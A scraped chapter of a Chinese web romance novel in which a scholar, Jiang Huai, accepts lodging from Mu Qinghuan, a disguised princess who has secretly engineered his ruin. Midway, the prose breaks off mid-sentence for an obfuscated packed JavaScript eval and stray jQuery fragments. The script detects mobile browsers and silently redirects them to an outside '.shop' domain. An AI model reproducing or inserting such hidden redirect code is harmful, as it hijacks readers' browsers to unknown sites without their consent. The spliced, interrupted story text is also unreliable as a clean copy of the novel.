文趣网 > 其他小说 > 公主的清冷娇夫 > 9. 剖白
    客栈年久失修,并不能隔音。方才阿梧的哭诉,大半都落入了江淮耳中。

    上一次他被设局陷害,沐清欢义无反顾地站出来替他洗清嫌疑。可这一次,他面对的指责却句句属实。

    她会怎样看待他?会像其他人一般,唾弃他娼妓之子的身份么?

    一股强烈的自我厌弃席卷了四肢百骸。江淮只觉得神魂飘在空中,残忍地看着狼狈不堪、被赤裸剖开无所遁形的自己。

    可是,直到沐清欢推门而入、走到他面前的刹那,快要跃出胸腔的心跳声才让他意识到,原来他的心里还怀着一丝羞于启齿的隐秘期待。

    见沐清欢点头,江淮抿了抿嘴,“......姑娘不会厌恶我吗?”

    “怎么会?”沐清欢讶然,“我只听到,江公子虽然少时艰辛,却不堕青云之志;虽出身名门,却不愿仰赖祖荫,未及弱冠便已过秋闱。”

    “更何况,公子先前与我一面之缘,便肯为我的安危不顾惜性命。”

    “如此怀瑾握瑜、君子风骨之人,怎会惹人厌恶?”

    江淮一时愣在原地,连呼吸都骤然停滞下来。

    他自幼亲缘浅薄,亦知晓自己从不具备讨人喜欢的本领。所以养父母的冷待、兄弟们的忌恨、同窗们的疏远......从起初心里尚有波澜,到后来已经逐渐泰然受之。

    可如今,连持中公正的侯夫人也厌憎于他。

    江淮再一次坠入了自我怀疑的深渊里。深埋心底的自卑与惶惑翻涌上来,死死缠上心头。

    可是,沐清欢却说,他怀瑾握瑜,君子风骨。

    有温热的感动漫出来,密密麻麻溢满了整个胸腔。早已冰封的心底仿佛春雪消融,逐渐绽出新芽。

    见他久久不语,沐清欢环顾四周,“待在这地方不是长久之计。公子之后可有旁的打算?”

    江淮扫视一眼这破败的客栈,顿时惊觉,似乎他与沐清欢每一次相遇的经历,都不是什么美好的场景。

    这么想着,江淮又免不了失落起来。他犹豫片刻,含糊地说,“我昔日有几位同窗,或许能帮我介绍些抄书的活计,撑到科考前不是问题。”

    “可是,这样的地方,公子要怎么安心备考呢?若他们再上门滋扰,公子又该如何应对?”

    江淮默了默,“若春闱榜上有名,我便自请外放,不再与侯府冲突;若落榜,我也预备离开京城,去寻一个幕僚的差事。”

    “姑娘不必担心,我有功名在身,总归会有去处。”

    不过再等三年罢了。只要远离京城,等三年后,侯府爵位之事定下,朝中也逐渐遗忘了前事,他再度进京赴考时,便不会再有什么阻碍。

    沐清欢听江淮这话,似乎已对此次春闱有几分心灰意冷。赶忙提议,“我嫁妆里有一处院子,虽然简陋,但也算得上安静。公子可以暂且去那里住下。”

    江淮怔住,这对他而言简直是及时雨。但如此一来,他欠她的就更加还不清了。

    见江淮面上纠结,沐清欢知晓他已经心动,却碍于情面不愿一口应下。便快刀战乱麻地替他决定下来,“公子先随我去吧,旁的都可以日后再议。”

    马车稳稳地穿过闹市,停在一处两进的院子前。小院位置并不偏僻,却闹中取静。若按市价,月租至少要五两银。

    沐清欢领着江淮将院子看过一遍。院子虽无人居住,但打扫得十分干净。江淮深深一揖,郑重道,“姑娘大恩,若来日一举高中,必然报偿。”

    沐清欢垂眼思索片刻,“倒是真有一事,想请公子帮忙。”

    江淮赶忙说,“姑娘若有需要,尽可以说出来。”

    沐清欢似乎有些赧然,犹疑良久才开口,“我想求公子替我寻一门婚事。”

    “婚事?”江淮一惊,随即欲言又止。

    婚姻大事历来都是父母之命、媒妁之言,沐清欢为何要求助他一个外男?

    沐清欢显然看出江淮的疑惑,叹了一口气,眉宇间染上哀愁,“我母亲因病早逝,家中姨娘当家,又生下弟妹。”

    “兄长原本是父亲属意的继承人。可继母惦念家中财产,设计害死了兄长。”

    “我在家中艰难度日。待及笄之后,姨娘所生的弟弟又试图将我许给一个性情残暴的纨绔子弟,为其前程铺路。”

    沐清欢在心底斟酌着措辞。她早晚要在江淮面前揭开真实身份,若要江淮不介怀她的隐瞒,还能继续爱上她的另一重身份性情,便不能留下过多的欺骗之语。

    因此,她此刻所描述的经历并不掺半句假话。

    “我命若飘萍,不得自主。只盼公子能替我寻一位可靠的夫婿,不计才学家世,只要人品贵重便好。”

    她本就生得极美,此刻素面雪肤,眉目含愁,泪珠悬于睫上欲坠不坠,几乎让江淮看痴了。

    江淮素来波澜不惊的眸子里盛满怜惜。

    原来,她也有这样坎坷的身世。

    不,细细想来,她或许比自己更可怜,身负至亲惨死的血海深仇,却要忍辱负重,日日与害死至亲的仇人周旋,才能得一丝喘息之地。

    心绪翻涌间,江淮郑重应下,“姑娘放心,我定会为你寻一门好姻缘。”

    他垂眼细细思量。与他相熟的适龄男子,唯有常文镜与魏泽二人。

    可念头刚起,心里便下意识摇头,只觉得这二人,都无法与沐清欢相配。

    魏泽分明有娃娃亲,却不顾多年情意想另娶高门;常文镜性情鲁莽冲动,遇事欠缺沉稳担待。

    想到此处,江淮心头猛地一震,为这样的想法唾弃自己。他本是替沐清欢斟酌良缘,怎么能私下揣度起同窗的短处,暗自贬损旁人?如此狭隘,实在有违君子之风。

    沐清欢并不知晓,江淮心里已在片刻间转过九曲十八弯。听见江淮的承诺,她只露出一个如释重负的笑容,“劳烦公子替我费心,我等着公子的好消息。”

    第二日,江淮开始出门筹钱。扣掉从柳姨娘房中搜出的部分与江淮垫上的银钱,还需要再偿还五百两。

    侯夫人派来的嬷嬷放话,若十日之内江淮不能替其还清,便将柳姨娘送官处置。

    江淮先去寻了几家常去的书肆,询问是否有抄书的活计,书肆老板却纷纷摇头。他又去找了几个关系尚可的同窗,请求借些银钱,或是介绍一些代笔的差事,也全部吃了闭门羹。

    如此折腾了两日,江淮依然分文未进。一家相熟的书肆老板三缄其口后,含糊地暗示他,是否得罪了什么贵人。

    小院里,听完江淮的讲述,阿梧嘟嘟囔囔地骂了几句,又说,”其实,公子要是向姑娘借钱......”

    先前沐清欢离开时,留下了一处地址,说若再有难处,可以去那里寻她。

    “阿梧!”江淮斥道,“她已经帮了我许多。她自己也有难处。我怎么能再向她张口?”

    见阿梧露出不服气的神色,江淮语气严肃,“不许私下去找薛姑娘,记住了吗?”

    阿梧委委屈屈地说,“说来,姑娘想寻一门婚事,公子为何不表明心意求娶她呢?她生得像仙女一样,又温柔善良,我不信公子对薛姑娘没有情意。”

    情意么?

    若说情谊,自然是有。她温柔善良,心性坚韧,又具胆识风骨。几乎世间所能想到的一切美好词汇,都可以加诸于

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516231|203204||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她身上。

    过往二十年里,他不曾为女子悸动过,分不清心中的情感是否为男女之情。

    更何况,便是爱慕之心,又能如何?

    若他前路光明,或许还能向她剖白,以求相守的机会。可如今自身前路渺茫,如何能再将她卷进漩涡里?

    江淮沉默了许久,终究避开了这个话题,“莫说这些了,先解决眼下之事。”

    阿梧瘪着嘴不再说话。过了好一会儿,他小声说,“夫人从前还算和善,怎么突然要为难您和柳姨娘呢?”

    贵人。

    结合书肆掌柜的话,江淮把身边人筛了一遍之后,除了侯夫人,想不出其他的人选。

    堵死了他赚钱的路子,让他要么因柳姨娘盗窃而被牵连名声,要么为救母迫不得已走进赌场,直接断送前程。

    可过往数年里,侯夫人虽然因为失子之痛极少过问府中事,却从未苛待过他与姨娘的用度。就连侯夫人院子里的人,见到他时也恭谨客气,并无轻视之意。

    为什么侯夫人会突然对他发难?不止以银钱相威胁,还在大庭广众下极尽羞辱,不留分毫余地。

    是有人向她许诺了什么?可宗族里地位最高的二房老爷,也不过是个六品闲职。实在入不了侯夫人的眼。

    苦思冥想之后,江淮依然想不明白,只觉得一张悄无声息的大网从黑暗中向他罩来,让他毫无挣扎之力。

    **

    沐清欢的心情十分烦躁。

    她已经连续三日称病推掉了进宫请安。平日最爱的菜肴,如今也只吃得下几口。就连新得的珠宝首饰,都不能激起她半分兴致。

    这种烦躁在听到暗卫汇报的江淮最新境况时,达到了巅峰。

    在底下侍女们的求告之下,桂华不得已被推出来,在奉茶时小心地问,“公主最近有烦心事?”

    沐清欢靠坐在窗边的贵妃榻上,没有出声。

    她在烦心什么呢?她的计划十分顺利,江淮终于如她所愿,被逼到走投无路的境地,落入了她的罗网中。

    可她却并未如预想中欣喜。

    尽管不愿意承认,但从第一次见面,她心里就知道,江淮与她的生母赵贵妃,是全然不同的人。

    赵贵妃虚伪、狡诈、佛口蛇心,对曾有恩于她的人也能面不改色地痛下杀手。

    可江淮赤诚、纯良,即便在人生前二十年里,几乎没有接收到身边人释放的善意,却依然保持着淳善的本心。

    他没有享受过赵贵妃作为生母带来的一切好处,却要为他的出身,被卷入一场未知的风波里。

    半晌之后,沐清欢抬头,看桂华还等在那儿,担忧地看着她。

    她叹了口气,示意兰叶一同进来后,讲出了自己的决定,

    “您要替江公子行卷?”

    兰叶吃惊地喊出声。被桂华悄悄瞪了一眼,她才勉强稳重下来,却依然欲言又止。

    “接连打击之后,江淮已对此次春闱有几分心灰意冷。照这样下去,等他落榜后离开京城,三年之内便没机会再和贵妃见面。我们的计划也无法进行了。”

    兰叶犹豫半晌,支支吾吾地说,“公主,您已经想好了吗?”

    沐清欢点了点头,又说,“放心,我自然不会亲自向父皇举荐他。”

    她明白兰叶的担忧。皇帝宠爱她的前提,是她安安分分地做一个尊贵的公主,她可以狂妄骄纵,可以奢侈无度,却不该试图参与朝政,更不该借科举笼络士子,为己所用。

    “那公主的意思是?”

    沉吟片刻后,沐清欢问,“前两日淑妃送来的驸马待选名册里,谢家递的是哪位公子?”